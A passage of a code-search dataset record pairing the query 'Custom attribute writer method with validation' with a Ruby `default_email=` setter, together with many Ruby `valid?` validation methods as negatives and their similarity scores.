"def valid?\n return false if @class_id.nil?\n class_id_validator = EnumAttributeValidator.new('String', [\"network.ElementSummary\"])\n return false unless class_id_validator.valid?(@class_id)\n return false if @object_type.nil?\n object_type_validator = EnumAttributeValidator.new('String', [\"network.ElementSummary\"])\n return false unless object_type_validator.valid?(@object_type)\n ethernet_switching_mode_validator = EnumAttributeValidator.new('String', [\"end-host\", \"switch\"])\n return false unless ethernet_switching_mode_validator.valid?(@ethernet_switching_mode)\n fc_switching_mode_validator = EnumAttributeValidator.new('String', [\"end-host\", \"switch\"])\n return false unless fc_switching_mode_validator.valid?(@fc_switching_mode)\n management_mode_validator = EnumAttributeValidator.new('String', [\"IntersightStandalone\", \"UCSM\", \"Intersight\"])\n return false unless management_mode_validator.valid?(@management_mode)\n thermal_validator = EnumAttributeValidator.new('String', [\"unknown\", \"ok\", \"upper-non-recoverable\", \"upper-critical\", \"upper-non-critical\", \"lower-non-critical\", \"lower-critical\", \"lower-non-recoverable\"])\n return false unless thermal_validator.valid?(@thermal)\n true && super\n end",
"def valid?\n\t\t\t\ttrue\n\t\t\tend",
"def validate\r\n validate! rescue false\r\n end",
"def validate\n validate_string_attributes\n end",
"def valid?\n self.errors = Mongomatic::Errors.new\n do_callback(:before_validate)\n check_required_fields\n validate\n do_callback(:after_validate)\n self.errors.empty?\n end",
"def valid\n @valid\n end",
"def valid_objects\n all_objects.select { |o| o.valid? }\n end",
"def valid?\n return false if @summary.nil?\n return false if @summary.to_s.length > 100\n record_type_validator = EnumAttributeValidator.new('String', [\"ServiceTicket\", \"ProjectTicket\", \"ProjectIssue\"])\n return false unless record_type_validator.valid?(@record_type)\n return false if !@wbs_code.nil? && @wbs_code.to_s.length > 50\n return false if @company.nil?\n return false if !@site_name.nil? && @site_name.to_s.length > 50\n return false if !@address_line1.nil? && @address_line1.to_s.length > 50\n return false if !@address_line2.nil? && @address_line2.to_s.length > 50\n return false if [email protected]? && @city.to_s.length > 50\n return false if !@state_identifier.nil? && @state_identifier.to_s.length > 50\n return false if [email protected]? && @zip.to_s.length > 12\n return false if !@contact_phone_number.nil? && @contact_phone_number.to_s.length > 20\n return false if !@contact_phone_extension.nil? && @contact_phone_extension.to_s.length > 15\n return false if !@contact_email_address.nil? && @contact_email_address.to_s.length > 250\n severity_validator = EnumAttributeValidator.new('String', [\"Low\", \"Medium\", \"High\"])\n return false unless severity_validator.valid?(@severity)\n impact_validator = EnumAttributeValidator.new('String', [\"Low\", \"Medium\", \"High\"])\n return false unless impact_validator.valid?(@impact)\n return false if !@external_x_ref.nil? && @external_x_ref.to_s.length > 100\n return false if !@po_number.nil? && @po_number.to_s.length > 50\n return false if !@automatic_email_cc.nil? && @automatic_email_cc.to_s.length > 1000\n sub_billing_method_validator = EnumAttributeValidator.new('String', [\"ActualRates\", \"FixedFee\", \"NotToExceed\", \"OverrideRate\"])\n return false unless sub_billing_method_validator.valid?(@sub_billing_method)\n knowledge_base_link_type_validator = EnumAttributeValidator.new('String', [\"ServiceTicket\", \"ProjectTicket\", \"ProjectIssue\", \"KnowledgeBaseArticle\", \"Time\", \"Activity\"])\n return false unless knowledge_base_link_type_validator.valid?(@knowledge_base_link_type)\n bill_time_validator = EnumAttributeValidator.new('String', [\"Billable\", \"DoNotBill\", \"NoCharge\", \"NoDefault\"])\n return false unless bill_time_validator.valid?(@bill_time)\n bill_expenses_validator = EnumAttributeValidator.new('String', [\"Billable\", \"DoNotBill\", \"NoCharge\", \"NoDefault\"])\n return false unless bill_expenses_validator.valid?(@bill_expenses)\n bill_products_validator = EnumAttributeValidator.new('String', [\"Billable\", \"DoNotBill\", \"NoCharge\", \"NoDefault\"])\n return false unless bill_products_validator.valid?(@bill_products)\n predecessor_type_validator = EnumAttributeValidator.new('String', [\"Ticket\", \"Phase\"])\n return false unless predecessor_type_validator.valid?(@predecessor_type)\n return true\n end",
"def validate!\n true\n end",
"def valid?\n return false if @class_id.nil?\n class_id_validator = EnumAttributeValidator.new('String', [\"vnic.FcIf\"])\n return false unless class_id_validator.valid?(@class_id)\n return false if @object_type.nil?\n object_type_validator = EnumAttributeValidator.new('String', [\"vnic.FcIf\"])\n return false unless object_type_validator.valid?(@object_type)\n return false if [email protected]? && @name.to_s.length > 31\n return false if [email protected]? && @name !~ Regexp.new(/^[a-zA-Z0-9\\-\\._:]+$/)\n return false if !@static_wwpn_address.nil? && @static_wwpn_address !~ Regexp.new(/^$|((^20|5[0-9a-fA-F]{1}):([0-9a-fA-F]{2}:){6}([0-9a-fA-F]{2}))/)\n type_validator = EnumAttributeValidator.new('String', [\"fc-initiator\", \"fc-nvme-initiator\", \"fc-nvme-target\", \"fc-target\"])\n return false unless type_validator.valid?(@type)\n return false if [email protected]? && @wwpn !~ Regexp.new(/^$|((^20|5[0-9a-fA-F]{1}):([0-9a-fA-F]{2}:){6}([0-9a-fA-F]{2}))/)\n wwpn_address_type_validator = EnumAttributeValidator.new('String', [\"POOL\", \"STATIC\"])\n return false unless wwpn_address_type_validator.valid?(@wwpn_address_type)\n true && super\n end",
"def valid?\n validate_survivors and validate_items && validate_records\n end",
"def valid?\n return false if @id.nil?\n return false if @next_send.nil?\n return false if @rrule.nil?\n return false if @session.nil?\n return false if @last_sent.nil?\n return false if @contact_name.nil?\n return false if @parameters.nil?\n return false if @type.nil?\n type_validator = EnumAttributeValidator.new('String', ['Once', 'Hourly', 'Daily', 'Weekly', 'Monthly', 'Yearly'])\n return false unless type_validator.valid?(@type)\n return false if @summary.nil?\n return false if @text_parameters.nil?\n return false if @first_occurrence.nil?\n return false if @last_occurrence.nil?\n return false if @recipients_count.nil?\n return false if @timezone.nil?\n return false if @completed.nil?\n return false if @avatar.nil?\n return false if @created_at.nil?\n true\n end",
"def valid?\n return false if [email protected]? && @description.to_s.length > 255\n return false if @routing_number.nil?\n return false if @routing_number.to_s.length > 9\n return false if @routing_number.to_s.length < 9\n return false if @account_number.nil?\n return false if @account_number.to_s.length > 17\n return false if @account_type.nil?\n account_type_validator = EnumAttributeValidator.new('String', [\"company\", \"individual\"])\n return false unless account_type_validator.valid?(@account_type)\n return false if @signatory.nil?\n return false if @signatory.to_s.length > 30\n return false if @id.nil?\n return false if @id !~ Regexp.new(/^bank_[a-zA-Z0-9]+$/)\n return false if !@signature_url.nil? && @signature_url !~ Regexp.new(/^https:\\/\\/lob-assets\\.com\\/(letters|postcards|bank-accounts|checks|self-mailers|cards)\\/[a-z]{3,4}_[a-z0-9]{15,16}(\\.pdf|_thumb_[a-z]+_[0-9]+\\.png)\\?(version=[a-z0-9-]*&)?expires=[0-9]{10}&signature=[a-zA-Z0-9_-]+$/)\n return false if @date_created.nil?\n return false if @date_modified.nil?\n return false if @object.nil?\n object_validator = EnumAttributeValidator.new('String', [\"bank_account\"])\n return false unless object_validator.valid?(@object)\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n return false if @id.nil?\n return false if @account_id.nil?\n return false if @organization_id.nil?\n return false if @product_id.nil?\n return false if @product_rate_plan_id.nil?\n return false if @name.nil?\n type_validator = EnumAttributeValidator.new('String', [\"Subscription\", \"FixedTerm\", \"Trial\"])\n return false unless type_validator.valid?(@type)\n return false if @state.nil?\n state_validator = EnumAttributeValidator.new('String', [\"Trial\", \"Provisioned\", \"Paid\", \"AwaitingPayment\", \"Cancelled\", \"Failed\", \"Expired\"])\n return false unless state_validator.valid?(@state)\n return false if @initial_period_start.nil?\n return false if @trial_end.nil?\n managed_by_validator = EnumAttributeValidator.new('String', [\"BillForward\", \"Stripe\"])\n return false unless managed_by_validator.valid?(@managed_by)\n return false if @version_start.nil?\n return false if @version_number.nil?\n return false if @current_time.nil?\n failed_payment_behaviour_validator = EnumAttributeValidator.new('String', [\"CancelSubscription\", \"None\"])\n return false unless failed_payment_behaviour_validator.valid?(@failed_payment_behaviour)\n return true\n end",
"def validate_fields\n %w[email author].each do |field|\n value = self.send(field)\n abort \"Hoe #{field} value not set. aborting\" if value.nil? or value.empty?\n end\n end",
"def valid?\n return false if @name.nil?\n return false if @name.to_s.length < 1\n return false if @timezone.nil?\n return false if @timezone.to_s.length < 1\n return false if @currency.nil?\n return false if @currency.to_s.length < 1\n case_sensitivity_validator = EnumAttributeValidator.new('String', [\"sensitive\", \"insensitive-uppercase\", \"insensitive-lowercase\"])\n return false unless case_sensitivity_validator.valid?(@case_sensitivity)\n campaign_priority_validator = EnumAttributeValidator.new('String', [\"universal\", \"stackable\", \"exclusive\"])\n return false unless campaign_priority_validator.valid?(@campaign_priority)\n exclusive_campaigns_strategy_validator = EnumAttributeValidator.new('String', [\"listOrder\", \"lowestDiscount\", \"highestDiscount\"])\n return false unless exclusive_campaigns_strategy_validator.valid?(@exclusive_campaigns_strategy)\n default_discount_scope_validator = EnumAttributeValidator.new('String', [\"sessionTotal\", \"cartItems\", \"additionalCosts\"])\n return false unless default_discount_scope_validator.valid?(@default_discount_scope)\n default_discount_additional_cost_per_item_scope_validator = EnumAttributeValidator.new('String', [\"price\", \"itemTotal\", \"additionalCosts\"])\n return false unless default_discount_additional_cost_per_item_scope_validator.valid?(@default_discount_additional_cost_per_item_scope)\n true\n end",
"def valid?\n run_validation\n @errors.empty?\n end",
"def valid?\n MANDATORY_ATTRIBUTES.each{|a| return false unless self[a]}\n true\n end",
"def valid?\n return false if @id.nil?\n return false if @token.nil?\n return false if @tipo.nil?\n tipo_validator = EnumAttributeValidator.new('String', ['fatture', 'proforma', 'ordini', 'preventivi', 'ndc'])\n return false unless tipo_validator.valid?(@tipo)\n return false if @nome.nil?\n return false if @indirizzo_via.nil?\n return false if @indirizzo_cap.nil?\n return false if @indirizzo_citta.nil?\n return false if @indirizzo_provincia.nil?\n return false if @paese.nil?\n lingua_validator = EnumAttributeValidator.new('String', ['it', 'en', 'de'])\n return false unless lingua_validator.valid?(@lingua)\n return false if @piva.nil?\n return false if @cf.nil?\n return false if @numero.nil?\n return false if @valuta.nil?\n return false if @valuta_cambio.nil?\n return false if @prezzi_ivati.nil?\n return false if @importo_netto.nil?\n return false if @importo_iva.nil?\n return false if @importo_totale.nil?\n mostra_totali_validator = EnumAttributeValidator.new('String', ['tutti', 'netto', 'nessuno'])\n return false unless mostra_totali_validator.valid?(@mostra_totali)\n return false if @lista_articoli.nil?\n pa_tipo_cliente_validator = EnumAttributeValidator.new('String', ['PA', 'B2B'])\n return false unless pa_tipo_cliente_validator.valid?(@pa_tipo_cliente)\n pa_tipo_validator = EnumAttributeValidator.new('String', ['ordine', 'convenzione', 'contratto', 'nessuno'])\n return false unless pa_tipo_validator.valid?(@pa_tipo)\n pa_esigibilita_validator = EnumAttributeValidator.new('String', ['I', 'D', 'S', 'N'])\n return false unless pa_esigibilita_validator.valid?(@pa_esigibilita)\n true\n end",
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n invalid_properties\n end",
"def valid?\n return false if @name.nil?\n return false if @name.to_s.length > 50\n return false if @prefix_suffix_option.nil?\n prefix_suffix_option_validator = EnumAttributeValidator.new('String', [\"Prefix\", \"Suffix\"])\n return false unless prefix_suffix_option_validator.valid?(@prefix_suffix_option)\n return false if !@invoice_pre_suffix.nil? && @invoice_pre_suffix.to_s.length > 5\n application_units_validator = EnumAttributeValidator.new('String', [\"Amount\", \"Hours\", \"Incidents\"])\n return false unless application_units_validator.valid?(@application_units)\n application_cycle_validator = EnumAttributeValidator.new('String', [\"Contract2Weeks\", \"Contract4Weeks\", \"ContractYear\", \"CalendarMonth\", \"CalendarQuarter\", \"CalendarWeek\", \"ContractQuarter\", \"CalendarYear\"])\n return false unless application_cycle_validator.valid?(@application_cycle)\n return false if @employee_comp_rate.nil?\n employee_comp_rate_validator = EnumAttributeValidator.new('String', [\"Actual\", \"Hourly\"])\n return false unless employee_comp_rate_validator.valid?(@employee_comp_rate)\n return false if @employee_comp_not_exceed.nil?\n employee_comp_not_exceed_validator = EnumAttributeValidator.new('String', [\"Billing\", \"Percent\", \"Amount\"])\n return false unless employee_comp_not_exceed_validator.valid?(@employee_comp_not_exceed)\n return false if @invoicing_cycle.nil?\n invoicing_cycle_validator = EnumAttributeValidator.new('String', [\"CalendarYear\", \"ContractYear\"])\n return false unless invoicing_cycle_validator.valid?(@invoicing_cycle)\n return false if !@invoice_description.nil? && @invoice_description.to_s.length > 4000\n return false if @bill_time.nil?\n bill_time_validator = EnumAttributeValidator.new('String', [\"Billable\", \"DoNotBill\", \"NoCharge\", \"NoDefault\"])\n return false unless bill_time_validator.valid?(@bill_time)\n return false if @bill_expenses.nil?\n bill_expenses_validator = EnumAttributeValidator.new('String', [\"Billable\", \"DoNotBill\", \"NoCharge\", \"NoDefault\"])\n return false unless bill_expenses_validator.valid?(@bill_expenses)\n return false if @bill_products.nil?\n bill_products_validator = EnumAttributeValidator.new('String', [\"Billable\", \"DoNotBill\", \"NoCharge\", \"NoDefault\"])\n return false unless bill_products_validator.valid?(@bill_products)\n return true\n end",
"def validate\n end",
"def valid?\n return false if @to.nil?\n return false if @from.nil?\n carrier_validator = EnumAttributeValidator.new('String', [\"USPS\"])\n return false unless carrier_validator.valid?(@carrier)\n return false if @date_created.nil?\n return false if @date_modified.nil?\n return false if @id.nil?\n return false if @id !~ Regexp.new(/^ltr_[a-zA-Z0-9]+$/)\n return false if !@template_id.nil? && @template_id !~ Regexp.new(/^tmpl_[a-zA-Z0-9]+$/)\n return false if !@template_version_id.nil? && @template_version_id !~ Regexp.new(/^vrsn_[a-zA-Z0-9]+$/)\n return false if [email protected]? && @url !~ Regexp.new(/^https:\\/\\/(lob-assets|lob-assets-staging)\\.com\\/(letters|postcards|bank-accounts|checks|self-mailers|cards)\\/[a-z]{3,4}_[a-z0-9]{15,16}(\\.pdf|_thumb_[a-z]+_[0-9]+\\.png)\\?(version=[a-z0-9-]*&)?expires=[0-9]{10}&signature=[a-zA-Z0-9_-]+$/)\n return false if @object.nil?\n object_validator = EnumAttributeValidator.new('String', [\"letter\"])\n return false unless object_validator.valid?(@object)\n return false if [email protected]? && @description.to_s.length > 255\n return false if !@tracking_events.nil? && @tracking_events.length > 0\n address_placement_validator = EnumAttributeValidator.new('String', [\"top_first_page\", \"insert_blank_page\", \"bottom_first_page_center\", \"bottom_first_page\"])\n return false unless address_placement_validator.valid?(@address_placement)\n true\n end",
"def valid_attributes\n {}\n end",
"def valid_attributes\n {}\n end",
"def valid_attributes\n {}\n end",
"def valid_attributes\n {}\n end",
"def valid_attributes\n {}\n end",
"def valid_attributes\n {}\n end",
"def valid_attributes\n {}\n end",
"def valid_attributes\n {}\n end",
"def supports_validations?\n true\n end",
"def valid?\n @errors = self.class.valid_against_schema?(self.class.json_schema, self)\n @errors.empty?\n end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def valid?\n return false if @first_name.nil?\n return false if @first_name.to_s.length > 30\n return false if !@last_name.nil? && @last_name.to_s.length > 30\n return false if !@address_line1.nil? && @address_line1.to_s.length > 50\n return false if !@address_line2.nil? && @address_line2.to_s.length > 50\n return false if [email protected]? && @city.to_s.length > 50\n return false if [email protected]? && @state.to_s.length > 50\n return false if [email protected]? && @zip.to_s.length > 12\n return false if [email protected]? && @country.to_s.length > 50\n return false if !@security_identifier.nil? && @security_identifier.to_s.length > 184\n return false if [email protected]? && @title.to_s.length > 100\n return false if [email protected]? && @school.to_s.length > 50\n return false if !@nick_name.nil? && @nick_name.to_s.length > 30\n return false if !@significant_other.nil? && @significant_other.to_s.length > 30\n return false if !@portal_password.nil? && @portal_password.to_s.length > 15\n return false if !@portal_security_level.nil? && @portal_security_level > 6.0\n return false if !@portal_security_level.nil? && @portal_security_level < 1.0\n gender_validator = EnumAttributeValidator.new('String', [\"Male\", \"Female\"])\n return false unless gender_validator.valid?(@gender)\n presence_validator = EnumAttributeValidator.new('String', [\"Online\", \"DoNotDisturb\", \"Away\", \"Offline\", \"NoAgent\"])\n return false unless presence_validator.valid?(@presence)\n return true\n end",
"def validated?; end",
"def valid?\n return false if @name.nil?\n return false if @slug.nil?\n return false if @status.nil?\n status_validator = EnumAttributeValidator.new('String', ['enabled', 'disabled'])\n return false unless status_validator.valid?(@status)\n return false if @type.nil?\n type_validator = EnumAttributeValidator.new('String', ['digital', 'physical'])\n return false unless type_validator.valid?(@type)\n return false if @sku.nil?\n return false if @price.nil?\n availability_validator = EnumAttributeValidator.new('String', ['available', 'comingSoon', 'retired'])\n return false unless availability_validator.valid?(@availability)\n stock_status_validator = EnumAttributeValidator.new('String', ['available', 'alert', 'unavailable'])\n return false unless stock_status_validator.valid?(@stock_status)\n return false if @categories.nil?\n true\n end",
"def valid?\n self.valid\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end"
] | [
"0.78992486",
"0.78992486",
"0.70971805",
"0.70782334",
"0.7032205",
"0.7031276",
"0.69510347",
"0.6869891",
"0.6858077",
"0.6858077",
"0.68287027",
"0.6823878",
"0.6820306",
"0.68144894",
"0.6794656",
"0.6752167",
"0.66843414",
"0.6676546",
"0.6667755",
"0.66296124",
"0.66184515",
"0.6608204",
"0.6599208",
"0.6594276",
"0.6584302",
"0.6580472",
"0.6578095",
"0.6558585",
"0.6555879",
"0.6542414",
"0.6536983",
"0.6533884",
"0.65315515",
"0.65311855",
"0.65267456",
"0.65258855",
"0.6520786",
"0.65205675",
"0.6511026",
"0.6498394",
"0.64966303",
"0.64935124",
"0.6491113",
"0.64885867",
"0.6479024",
"0.6473706",
"0.64679337",
"0.6467217",
"0.6461245",
"0.64601135",
"0.64553183",
"0.64540446",
"0.6447954",
"0.64393955",
"0.6434162",
"0.64312094",
"0.6428205",
"0.6426148",
"0.6412439",
"0.64070046",
"0.64044213",
"0.6403482",
"0.6399368",
"0.63979715",
"0.63858813",
"0.63855004",
"0.63855004",
"0.63855004",
"0.63855004",
"0.63740236",
"0.6367379",
"0.63645166",
"0.6362151",
"0.63599974",
"0.6357385",
"0.63549066",
"0.63549066",
"0.63549066",
"0.63549066",
"0.6354845",
"0.6354207",
"0.6350302",
"0.6344303",
"0.6344303",
"0.6344303",
"0.6344303",
"0.6344303",
"0.6344303",
"0.6344303",
"0.6344303",
"0.63435715",
"0.63406414",
"0.63344824",
"0.6333158",
"0.63313466",
"0.63294095",
"0.6327076",
"0.63247603",
"0.63247603",
"0.63247603",
"0.63247603"
] | 0.0 | -1 |
Custom attribute writer method with validation | def default_email=(default_email)
if !default_email.nil? && default_email.to_s.length > 250
fail ArgumentError, "invalid value for 'default_email', the character length must be smaller than or equal to 250."
end
@default_email = default_email
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def attr_writer_tag(text); end",
"def allowed_attributes=(_arg0); end",
"def allowed_attributes=(_arg0); end",
"def writer(*args)\n attr_writer(*args)\n args\n end",
"def define_write_method(attr_name)\n evaluate_attribute_method attr_name, \"def #{attr_name}=(new_value);write_attribute('#{attr_name}', new_value);end\", \"#{attr_name}=\"\n end",
"def attr_writer(*vars)\n # avoid tracking attributes that are added by the class_attribute\n # as these are class attributes and not instance attributes.\n tracked_vars = vars.reject {|var| respond_to? var }\n add_tracked_attrs(false, true, *tracked_vars)\n vars.extract_options!\n super\n end",
"def attr_writer(sym, *more) end",
"def is_attribute?; end",
"def validate_exclusion_of(attr); end",
"def register_attributes\n raise \"Not implemented in #{self.class}\"\n end",
"def method_missing(method_name, *args)\n return super unless permitted_attributes.include?(method_name)\n begin\n object.send(:\"#{method_name}=\", args.first)\n rescue => e\n if params.has_key?(method_name)\n message = \"Unable to process value for :#{method_name}, no attribute writer. Be sure to override the automatic setters for all params that do not map straight to a model attribute.\"\n Rails.logger.warn({message: message,\n missing_writer: method_name,\n value: args.first,\n error: e})\n self.errors << {status: 422, message: message}\n else\n raise e\n end\n end\n end",
"def timeliness_validation_for(attr_names, type)\n super\n attr_names.each { |attr_name| define_timeliness_write_method(attr_name) }\n end",
"def create_setter_for(attribute, options)\n setter_method = \"#{attribute}=\"\n\n define_method setter_method do |value|\n if options[:allow_blank] || value != \"\"\n write_attribute(attribute, value)\n end\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each {|attr_name| attr_internal_define(attr_name, :writer)}\n end",
"def escape_attr input\n escape input, attr_regexp, attr_mapping\n end",
"def make_writer( attrtype )\n\t\tself.log.debug \"Generating an attribute writer for %p\" % [ attrtype ]\n\t\tattrname = attrtype.name\n\t\tif attrtype.single?\n\t\t\tself.log.debug \" attribute is SINGLE, so generating a scalar writer...\"\n\t\t\treturn lambda {|newvalue| self[attrname] = newvalue }\n\t\telse\n\t\t\tself.log.debug \" attribute isn't SINGLE, so generating an array writer...\"\n\t\t\treturn lambda {|*newvalues| self[attrname] = newvalues.flatten }\n\t\tend\n\tend",
"def write_attribute(name, value)\n # Simply check if the accessor is allowed to write the field\n # (if so, go to superclass and do it)\n @bypass_auth ||= false\n if allowed_to_write(name) || @bypass_auth\n super(name, value)\n end\n end",
"def mattr_writer(*syms, &proc)\n receiver = self\n options = syms.extract_options!\n syms.each do |sym|\n raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\\w*$/\n class_exec do\n define_singleton_method \"#{sym}=\" do |obj|\n class_variable_set(\"@@#{sym}\", obj)\n end\n end\n\n unless options[:instance_writer] == false || options[:instance_accessor] == false\n class_exec do\n define_method \"#{sym}=\" do |obj|\n receiver.class_variable_set(\"@@#{sym}\", obj)\n end\n end\n end\n send(\"#{sym}=\", proc.call) if proc\n end\n end",
"def write_attribute(attribute, value)\n false\n end",
"def add_attribute attribute\n return attribute unless @document_self\n\n # mainly to check for redefinition of an attribute as a method\n # TODO find a policy for 'attr_reader :foo' + 'def foo=()'\n register = false\n\n key = nil\n\n if attribute.rw.index 'R' then\n key = attribute.pretty_name\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name + '='] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if attribute.rw.index 'W' then\n key = attribute.pretty_name + '='\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if register then\n attribute.visibility = @visibility\n add_to @attributes, attribute\n resolve_aliases attribute\n end\n\n attribute\n end",
"def define_writer_method(mod)\n writer_method_name = \"#{name}=\"\n attribute = self\n\n mod.send(:define_method, writer_method_name) { |value| attribute.set(self, value) }\n mod.send(writer_visibility, writer_method_name)\n\n self\n end",
"def allowed_to_write(name)\n # no point allowing attribute writes if we can't save them?\n if allowed_to_save\n name = name.to_s\n validation_methods = self.class.write_validations(name) \n if validation_methods.nil?\n # We haven't registered any filters on this attribute, so allow the write.\n true\n elsif validation_methods.check :accessor => accessor, :model => self\n # One of the authentication methods worked, so allow the write.\n true\n else\n # We had filters but none of them passed. Disallow write.\n false\n end\n else\n false\n end\n end",
"def assert_attr_writer(obj, method)\n assert_respond_to obj, \"#{method}=\"\nend",
"def add_attribute(name, &block); end",
"def authenticates_writes_to(attr, options={})\n authenticates_access\n @write_validation_map ||= {}\n @write_validation_map[attr.to_s] ||= AuthMethodList.new\n @write_validation_map[attr.to_s].add_method(options)\n end",
"def write_attribute_3(param1, param2)\n\twrite_attribute(param1, param2)\n end",
"def write_attribute(attr_name, value) #:doc:\n @attributes[attr_name] = empty_string_for_number_column?(attr_name, value) ? nil : value\n end",
"def add_writer_tags(klass, new_method, member)\n member_tag = member_tag_for_member(klass, member, :write)\n return_type = return_type_from_tag(member_tag)\n setter_doc_text = member_tag ? member_tag.text : \"Sets the attribute #{member}\"\n new_method.docstring.replace(setter_doc_text)\n new_method.add_tag YARD::Tags::Tag.new(:param, \"the value to set the attribute #{member} to.\", return_type, \"value\")\n new_method.add_tag YARD::Tags::Tag.new(:return, \"the newly set value\", return_type)\n end",
"def print_attribute(*) end",
"def attribute(name); end",
"def add_checked_attribute(clazz, attribute)\r\n eval <<END\r\n class #{clazz}\r\n\r\n def #{attribute}=(value)\r\n raise 'Invalid attribute' unless value\r\n @#{attribute}=value\r\n end\r\n\r\n def #{attribute}\r\n #{attribute}\r\n end\r\n end\r\nEND\r\nend",
"def attr(name); end",
"def is_attribute?(line)\n (line =~ /(\\s+)attr_(writer|reader|accessor)\\s+:[a-zA-Z_0-9]+/) == 0\n end",
"def attribute(name, value)\n\t if !@inStartTag\n\t\traise WriterError.new('attribute outside of tag start')\n\t end\n\t @io << \" #{name}=\\\"#{NQXML.encode(value.to_s)}\\\"\"\n\tend",
"def set_attribute(name, value); end",
"def dataset_writer(*attributes)\n attributes.flatten.each do |attr_name|\n next if method_defined?(\"#{attr_name}=\")\n\n class_eval <<-RUBY, __FILE__, __LINE__ + 1\n def #{attr_name}=(value)\n dataset_set(:#{attr_name}, value)\n end\n RUBY\n end\n end",
"def validated_attribute_names(params); end",
"def require_format_of(attribute)\r\n RequireFormatOf.new(attribute)\r\n end",
"def attr_writer(*fields)\n check_fields(fields)\n added_fields = jiak.data.writable(*fields)\n added_fields.each do |field|\n class_eval <<-EOM\n def #{field}=(val)\n @jiak.object.data.#{field} = val\n self.class.do_auto_update(self)\n end\n EOM\n end\n nil\n end",
"def html_attr(*attrs)\n options = attrs.extract_options!.reverse_merge({\n :level => :super_relaxed\n })\n attrs.each do |att|\n class_eval \"def #{att}=(val); self[:#{att}] = sanitize(val, :#{options[:level]}); end\"\n end\n end",
"def validate_attributes=(new_attribute)\n @validate_attributes = new_attribute\n end",
"def html_attributes(attr); end",
"def instance_write(attr, value)\n setter = :\"#{@name_string}_#{attr}=\"\n instance.send(setter, value) if instance.respond_to?(setter)\n end",
"def valid_xml_attribute(name, options={:level => :warning})\n\t\t\t\tvalidate(\"Invalid XML attribute '#{name}'\", options) { name.to_s.match(/^([^[:punct:]0-9<>]|_)[^<>\"']*/) }\n\t\t\tend",
"def attr_writer(*args)\n sym_args=args_to_sym(args)\n sym_args.each do |value|\n self.instance_eval(\"def #{value}=(arg); @#{value}=arg;end;\")\n end\n \n end",
"def define_writer_method(attribute, method_name, visibility)\n define_method(method_name) { |value| attribute.set(self, value) }\n send(visibility, method_name)\n self\n end",
"def write_attribute(name, val)\n if @embedded_models.include? name\n @embedded_models[name].model = val\n elsif @attribute_objects.include? name\n @attribute_objects[name].value = val\n else\n return false\n end\n\n run_callbacks :attribute_change\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def attr; end",
"def attribute(*args)\n define_expressions(Attribute, args)\n end",
"def write_attribute(name, value)\n name = name.to_s\n\n # The attribute already has an unsaved change.\n if attribute_changed?(name)\n old = changed_attributes[name]\n changed_attributes.delete(name) unless field_changed?(name, old, value)\n else\n attribute_will_change(name) if field_changed?(name, old, value)\n end\n\n # Carry on.\n super(name, value)\n end",
"def define_magic_attr(name)\n define_method name do |*attrs|\n raise ArgumentError.new(\"wrong number of arguments\") if attrs.size > 1\n send(\"#{name}=\", attrs.first) if attrs.size == 1\n instance_variable_get(\"@#{name}\")\n end\n\n attr_writer name\n end",
"def configurable_writer(attribute, code=nil, &block)\n if block_given? and not code\n Halcyon.class.send(:define_method, :\"#{attribute}=\", block)\n elsif code and not block_given?\n Halcyon.class.send(:eval, <<-\"end;\")\n def #{attribute.to_s}=(value)\n #{code % [attribute.to_sym.inspect]}\n end\n end;\n else\n raise ArgumentError.new(\"Either a block or a code string should be supplied.\")\n end\n end",
"def method_missing(name, *args, &block)\n if /\\Ahas_validated_(?<type>\\w*)_attribute\\Z/ =~ name\n has_validated_attribute(type, *args, &block)\n else\n super\n end\n end",
"def add_checked_attribute(klass, attribute)\n klass.class_eval do\n define_method attribute do\n instance_variable_get(\"@#{attribute}\")\n end\n\n define_method \"#{attribute}=\" do |value|\n raise 'Invalid attribute' unless value\n \n instance_variable_set(\"@#{attribute}\", value)\n end\n end\nend",
"def method_missing(meth, *args, &blk)\n match = meth.to_s.match(/^([a-zA-Z\\_]+)(=|$)$/)\n if match\n attribute, setter = match[1], !match[2].blank?\n if setter\n write_attribute(attribute, args.first)\n else\n read_attribute(attribute)\n end\n else\n super(meth, *args, &blk)\n end\n end",
"def valid_attributes\n { name: 'do this' }\n end",
